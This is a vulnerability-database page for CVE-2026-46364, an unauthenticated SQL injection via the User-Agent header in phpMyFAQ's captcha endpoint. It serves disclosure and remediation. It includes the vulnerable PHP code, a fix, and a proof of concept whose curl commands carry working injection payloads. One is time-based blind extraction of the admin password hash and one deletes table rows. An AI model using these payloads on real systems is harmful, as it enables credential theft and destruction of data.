Loading...
Skip to main content

CVE-2026-46364 — Vulnerability in thorsten/phpmyfaq — CVE Details

CRITICAL

phpMyFAQ has unauthenticated SQL injection via User-Agent header in BuiltinCaptcha

Published May 6, 2026Updated September 10, 2026Source: osv

Summary

## Summary `BuiltinCaptcha::garbageCollector()` and `BuiltinCaptcha::saveCaptcha()` at `phpmyfaq/src/phpMyFAQ/Captcha/BuiltinCaptcha.php:298` and `:330` interpolate the `User-Agent` header and client IP address into DELETE and INSERT queries with `sprintf` and no escaping. Both methods run on every hit to the public `GET /api/captcha` endpoint, which requires no authentication. An unauthenticated attacker sets the `User-Agent` header to a crafted SQL payload and runs `SLEEP()`, `BENCHMARK()`, or time-based blind extraction against the database that backs phpMyFAQ. Verified live against 4.2.0-alpha (master at `b9f25109`): baseline request 147 ms, request with `User-Agent: x' OR SLEEP(2) OR 'x` 4.09 s (two `SLEEP(2)` calls, one per vulnerable sink). ## Details `phpmyfaq/src/phpMyFAQ/Captcha/BuiltinCaptcha.php:112` populates two private fields from untrusted HTTP input at construction time: ```php $this->userAgent = $request->headers->get('user-agent'); $this->ip = $request->getClientIp(); ``` Both fields are then dropped into `sprintf()` SQL templates without ever touching `Database::escape()` or a prepared statement. `garbageCollector()` at line 298 (called on every captcha request via `getCaptchaImage()`): ```php $delete = sprintf( " DELETE FROM %sfaqcaptcha WHERE useragent = '%s' AND language = '%s' AND ip = '%s'", Database::getTablePrefix(), $this->userAgent, // unescaped $this->configuration->getLanguage()->getLanguage(), $this->ip, // unescaped ); $this->configuration->getDb()->query($delete); ``` `saveCaptcha()` at line 330 does the same for INSERT: ```php $insert = sprintf( "INSERT INTO %sfaqcaptcha (id, useragent, language, ip, captcha_time) VALUES ('%s', '%s', '%s', '%s', %d)", Database::getTablePrefix(), $this->code, $this->userAgent, // unescaped $this->configuration->getLanguage()->getLanguage(), $this->ip, // unescaped $this->timestamp, ); $this->configuration->getDb()->query($insert); ``` For comparison, the same file's `checkCaptchaCode()` at line 472 passes user input through `$db->escape()` before interpolation. The `BuiltinCaptcha` author knew about `escape()`; the two sinks above skip it. ### Reachability `phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/CaptchaController.php:39` exposes the vulnerable flow as an unauthenticated GET: ```php #[Route(path: 'captcha', name: 'api.private.captcha', methods: ['GET'])] public function renderImage(): Response { if (!$this->captcha instanceof BuiltinCaptcha) { return new Response('', Response::HTTP_NOT_FOUND); } // ... $response->setContent($this->captcha->getCaptchaImage()); return $response; } ``` `getCaptchaImage()` calls `saveCaptcha()` and `garbageCollector()` unconditionally. No CSRF token, session, or rate limit gates the request. Any unauthenticated user hitting `GET /api/captcha` injects into two queries at once. ### Impact surface MySQL's `query()` method executes one statement per call, so the attacker cannot stack queries. Time-based blind extraction with `SLEEP()` or `BENCHMARK()` still works, and the attacker can: - Read any row the web user has access to through bit-by-bit `IF(SUBSTR((SELECT ...),1,1)='a', SLEEP(1), 0)` chains. The `faquser` table holds `auth_source`, `login`, and bcrypt password hashes for every registered user; `faqconfig` holds the `main.phpMyFAQToken` admin token and SMTP credentials. - `UPDATE` / `DELETE` arbitrary rows in the same connection's privilege scope using payloads that rewrite the DELETE's WHERE clause (for example, `User-Agent: ' OR 1=1 -- ` deletes the entire `faqcaptcha` table and locks out legitimate users). ## Proof of Concept Tested against phpMyFAQ 4.2.0-alpha at master `b9f25109fddb38eee19987183798638d07943f92`, default install (MariaDB 10.6, Apache, PHP 8.4) on `http://target:8090`. Step 1: Baseline request with a clean `User-Agent`: ```bash time curl -sS -o /dev/null -w "HTTP %{http_code} %{time_total}s\n" \ -A "Mozilla/5.0" \ "http://target:8090/api/captcha?nocache=1" # HTTP 500 0.147s ``` Step 2: Injection with `SLEEP(2)` in the User-Agent: ```bash time curl -sS -o /dev/null -w "HTTP %{http_code} %{time_total}s\n" \ -A "x' OR SLEEP(2) OR 'x" \ "http://target:8090/api/captcha?nocache=2" # HTTP 500 4.093s ``` The 4.09 s response time equals two `SLEEP(2)` executions, confirming the payload reached both the `DELETE` in `garbageCollector()` and the `INSERT` in `saveCaptcha()`. Step 3: Single-bit boolean extraction using time: ```bash # leaks first character of the admin hash; 2s = 'a', 0s = otherwise curl -sS -o /dev/null -A "x' OR IF(SUBSTR((SELECT pass FROM faquser LIMIT 1),1,1)='a',SLEEP(2),0) OR 'x" \ "http://target:8090/api/captcha?nocache=3" ``` Iterating position and character enables full credential exfiltration without any authentication. ## Impact Unauthenticated remote SQL injection against the primary phpMyFAQ datastore. In a default install the attacker reads every user credential hash, the admin token, SMTP credentials stored in `faqconfig`, and every FAQ row (including ones marked private or permission-scoped). DELETE-path payloads also tamper with or wipe arbitrary rows in the connection's scope. There is no authentication, CSRF token, or rate limit in front of `/api/captcha`. ## Recommended Fix Route both fields through `Database::escape()` before interpolation, or replace the `sprintf` + `query()` pattern with a prepared statement. `phpmyfaq/src/phpMyFAQ/Captcha/BuiltinCaptcha.php:298-325`: ```php $db = $this->configuration->getDb(); $userAgent = $db->escape($this->userAgent); $language = $db->escape($this->configuration->getLanguage()->getLanguage()); $ip = $db->escape($this->ip); $delete = sprintf( "DELETE FROM %sfaqcaptcha WHERE useragent = '%s' AND language = '%s' AND ip = '%s'", Database::getTablePrefix(), $userAgent, $language, $ip, ); $db->query($delete); ``` Apply the same change to `saveCaptcha()` at line 330 and to every other `sprintf`-into-SQL path in the file. A targeted audit for `sprintf.*SQL|sprintf.*SELECT|sprintf.*INSERT|sprintf.*UPDATE|sprintf.*DELETE` across `src/phpMyFAQ/` will surface the rest. --- *Found by [aisafe.io](https://aisafe.io)*

Advisory Timeline

  • First published May 6, 2026 (159 days ago).
  • Last revised September 10, 2026 — 126 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

Composer
Update thorsten/phpmyfaq to 4.1.2 or later
composer require "thorsten/phpmyfaq:^4.1.2"
Composer
Update phpmyfaq/phpmyfaq to 4.1.2 or later
composer require "phpmyfaq/phpmyfaq:^4.1.2"

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (2)

Affects 1 ecosystem: packagist (2).

PackageEcosystemAffectedFixed In
thorsten/phpmyfaq
packagist
2.10.0-alpha, 2.8.0, 2.8.0-RC, 2.8.0-RC2 (+166 more)4.1.2
phpmyfaq/phpmyfaq
packagist
2.10.0-alpha, 2.8.0, 2.8.0-RC, 2.8.0-RC2 (+166 more)4.1.2

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 9.8 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Frequently Asked Questions

What is CVE-2026-46364?
phpMyFAQ has unauthenticated SQL injection via User-Agent header in BuiltinCaptcha This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 9.8/10).
How do I check if my project is affected by CVE-2026-46364?
CVE-2026-46364 affects thorsten/phpmyfaq and phpmyfaq/phpmyfaq. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-46364 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
9.8

Exploitation is straightforward and causes maximum impact. Patch immediately.

Also Known As

GHSA-289f-fq7w-6q2w

Related CVEs

  • CVE-2026-45010
    CRITICAL

    phpMyFAQ enables unauthenticated 2FA brute-force attack via /admin/check acceptance of arbitrary user-id

  • CVE-2026-56737
    HIGH

    phpMyFAQ's two-factor authentication login bypasses the password factor

  • CVE-2026-56396
    HIGH

    phpMyFAQ has an incomplete fix for GHSA-xvp4-phqj-cjr3 — editUser() and updateUserRights() lack authorization guards

  • CVE-2026-35676
    HIGH

    phpMyFAQ: Unauthenticated Password Reset Endpoint Allows User Enumeration and Forced Password Change Without Token Validation

  • CVE-2026-57995
    HIGH

    phpMyFAQ privilege escalation: GroupController::updatePermissions lets a GROUP_EDIT admin grant rights they do not hold

  • CVE-2026-56736
    HIGH

    phpMyFAQ has Stored XSS in Admin FAQ Editor via HTML Entity Bypass in Frontend FAQ Submission

  • CVE-2026-35675
    HIGH

    phpMyFAQ: Missing Password Reset Token Allows Account Takeover via Username/Email Enumeration

  • CVE-2026-32629
    MEDIUM

    phpMyFAQ is Vulnerable to Stored XSS via Unsanitized Email Field in Admin FAQ Editor

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies